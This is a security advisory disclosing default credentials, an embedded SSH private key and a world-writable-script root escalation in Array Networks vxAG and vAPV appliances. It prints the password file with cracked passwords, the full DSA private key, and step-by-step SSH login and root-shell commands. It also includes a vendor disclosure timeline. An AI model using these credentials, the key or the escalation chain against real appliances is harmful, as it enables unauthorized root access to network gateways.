Array Networks vxAG 9.2.0.34 and vAPV 8.3.2.17 – Multiple Vulnerabilities
----------- Author: ----------- xistence < xistence[at]0x90[.]nl > ------------------------- Affected products: ------------------------- Array Networks vxAG 9.2.0.34 and vAPV 8.3.2.17 appliances ------------------------- Affected vendors: ------------------------- Array Networks http://www.arraynetworks.com/ ------------------------- Product description: ------------------------- vAPV: Virtual Application Delivery Controllers for Cloud and Virtualized Environments Powered by Array's award-winning 64-bit SpeedCore(tm) architecture, vAPV virtual application delivery controllers extend Array's proven price-performance and rich feature set to public and private clouds and virtualized datacenter environments. vAPV virtual application delivery controllers give enterprises and service providers the agility to offer on-demand load balancing services, dynamically allocate resources to maximize ROI on application infrastructure and develop and size new application environments using either private or public clouds. vxAG: Secure Access Gateways for Enterprise, Cloud & Mobile Environments Secure access gatewaysSecure access is undergoing dramatic change. With increasing mobility, growing adoption of cloud services and a shift in thinking that favors securing data over securing networks and devices, modern enterprises require a new breed of secure access solutions. Secure access gateways centralize control over access to business critical resources, providing security for data in motion and at rest and enforcing application level policies on a per user basis. The Array AG Series secure access gateway addresses challenges faced by enterprise, service provider and pubic-sector organizations in the areas of secure remote and mobile access to applications and cloud services. Available in a range of scalable, purpose-built appliances or as a virtual appliance for cloud and virtualized environments, the AG Series can support multiple communities of interest, connect users both in the office and on-the-go and provide access to traditional enterprise applications as well as services running in public and private clouds. ---------- Details: ---------- [ 0x01 - Default Users/Passwords ] The /etc/master.passwd file on the vxAG 9.2.0.34 and vAPV 8.3.2.17 appliances contain default (unkown to the admin) shell users and passwords. $ cat /etc/master.passwd # $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $ # root:$1$9QkJT4Y5$lF2BPaSI2kPlcrqz89yZv0:0:0::0:0:Charlie &:/root:/bin/csh toor:*:0:0::0:0:Bourne-again Superuser:/root: daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5::0:0:System &:/:/usr/sbin/nologin bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin smmsp:*:25:25::0:0:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin mailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin proxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin _pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin _dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin uucp:*:66:66::0:0:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico pop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologin www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologin test:$1$UtEw8DNY$te4MRasnXgETxWOZ9Z1o10:1002:1002::0:0:test:/export/test:/bin/tcsh sync:$1$bmfGRJPh$lWnesbn8M8xZNo3uaqfEd1:1005:0::0:0:sync:/export/sync:/bin/sh recovery::65533:0::0:0:Recovery User:/:/ca/bin/recovery mfg:$1$i8SV4bKc$lNMeb8Yow.p.cZvWxt1mO1:1013:1010::0:0:mfg:/export/mfg:/bin/tcsh arraydb:*:1015:0::0:0:User &:/home/arraydb:/bin/sh array::1016:1011::0:0:User &:/:/ca/bin/ca_shell Doing a quick password crack, the passwords for the mfg and sync are revealed: User: mfg Password: mfg User: sync Password: click1 The passwords for "test" and "root" couldn't be cracked in a short time. Below an example of logging in with the user "sync" and password "click1" via SSH. $ ssh sync@192.168.2.55 /bin/sh sync@192.168.2.55's password: id uid=1005(sync) gid=0(wheel) groups=0(wheel) [ 0x02 - SSH Private Key ] The "sync" user also contains a private key in "~/.ssh/id_dsa": $ cat id_dsa -----BEGIN DSA PRIVATE KEY----- MIIBugIBAAKBgQCUw7F/vKJT2Xsq+fIPVxNC/Dyk+dN9DWQT5RO56eIQasd+h6Fm q1qtQrJ/DOe3VjfUrSm7NN5NoIGOrGCSuQFthFmq+9Lpt6WIykB4mau5iE5orbKM xTfyu8LtntoikYKrlMB+UrmKDidvZ+7oWiC14imT+Px/3Q7naj0UmOrSTwIVAO25 Yf3SYNtTYv8yzaV+X9yNr/AfAoGADAcEh2bdsrDhwhXtVi1L3cFQx1KpN0B07JLr gJzJcDLUrwmlMUmrXR2obDGfVQh46EFMeo/k3IESw2zJUS58FJW+sKZ4noSwRZPq mpBnERKpLOTcWMxUyV8ETsz+9oz71YEMjmR1qvNYAopXf5Yy+4Zq3bgqmMMQyM+K O1PdlCkCgYBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQ OC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb +0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBgIUZoXsJnzs +sqSEhA35Le2kC4Y1/A= -----END DSA PRIVATE KEY----- The following authorized keys file are there in the ~/.ssh directory: $ cat authorized_keys 1024 35 117781646131320088945310945996213112717535690524599971400605193647439008360689916421327587459429042579662784434303538942896683338584760112042194838342054595473085094045804963620754645364924583113650482968246287214031112796524662479539236259838315876244144983122361617319660444993650437402628793785173700484401 sync@AN $ cat authorized_keys2 ssh-dss AAAAB3NzaC1kc3MAAACBAJTDsX+8olPZeyr58g9XE0L8PKT5030NZBPlE7np4hBqx36HoWarWq1Csn8M57dWN9StKbs03k2ggY6sYJK5AW2EWar70um3pYjKQHiZq7mITmitsozFN/K7wu2e2iKRgquUwH5SuYoOJ29n7uhaILXiKZP4/H/dDudqPRSY6tJPAAAAFQDtuWH90mDbU2L/Ms2lfl/cja/wHwAAAIAMBwSHZt2ysOHCFe1WLUvdwVDHUqk3QHTskuuAnMlwMtSvCaUxSatdHahsMZ9VCHjoQUx6j+TcgRLDbMlRLnwUlb6wpniehLBFk+qakGcREqks5NxYzFTJXwROzP72jPvVgQyOZHWq81gCild/ljL7hmrduCqYwxDIz4o7U92UKQAAAIBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQOC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBg== sync@AN This makes it possible to use the private key to login without a password. Do the following on a different system: Insert the id_dsa private key in a file called "synckey": cat > ~/synckey << EOF -----BEGIN DSA PRIVATE KEY----- MIIBugIBAAKBgQCUw7F/vKJT2Xsq+fIPVxNC/Dyk+dN9DWQT5RO56eIQasd+h6Fm q1qtQrJ/DOe3VjfUrSm7NN5NoIGOrGCSuQFthFmq+9Lpt6WIykB4mau5iE5orbKM xTfyu8LtntoikYKrlMB+UrmKDidvZ+7oWiC14imT+Px/3Q7naj0UmOrSTwIVAO25 Yf3SYNtTYv8yzaV+X9yNr/AfAoGADAcEh2bdsrDhwhXtVi1L3cFQx1KpN0B07JLr gJzJcDLUrwmlMUmrXR2obDGfVQh46EFMeo/k3IESw2zJUS58FJW+sKZ4noSwRZPq mpBnERKpLOTcWMxUyV8ETsz+9oz71YEMjmR1qvNYAopXf5Yy+4Zq3bgqmMMQyM+K O1PdlCkCgYBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQ OC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb +0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBgIUZoXsJnzs +sqSEhA35Le2kC4Y1/A= -----END DSA PRIVATE KEY----- EOF Change the rights of the file: chmod 600 ~/synckey SSH into the vxAG or vAPV appliance (change the IP below): ssh -i ~/synckey sync@192.168.2.55 /bin/sh Now you won't see a command prompt, but you can enter an "id" for example and you'll get: uid=1005(sync) gid=0(wheel) groups=0(wheel) [ 0x03 - Root Privilege Escalation ] The last issue is that the files "/ca/bin/monitor.sh" and "/ca/bin/debug_syn_stat" are world writable (chmod 777). Any user can write to these files. As the sync user it's possible to write to these files. If you write arbitrary commands to the monitor.sh script and then turn the debug monitoring off and on it will restart the script with root privileges. The sync user is able to run the /ca/bin/backend tool to execute CLI commands. Below how it's possible to turn the debug monitor off and on: Turn debug monitor off: /ca/bin/backend -c "debug monitor off"`echo -e "\0374"` Turn debug monitor on: /ca/bin/backend -c "debug monitor on"`echo -e "\0374"` Thus through combining the SSH private key issue and the world writable file + unrestricted backend tool it's possible to gain a remote root shell. ----------- Solution: ----------- Upgrade to newer versions Workaround: Change passwords and SSH key. Do a chmod 700 on the world writable file. -------------- Timeline: -------------- 03-02-2014 - Issues discovered and vendor notified 08-02-2014 - Vendor replies "Thank you very much for bringing this to our attention." 12-02-2014 - Asked vendor for status updates and next steps. 17-03-2014 - No replies, public disclosure |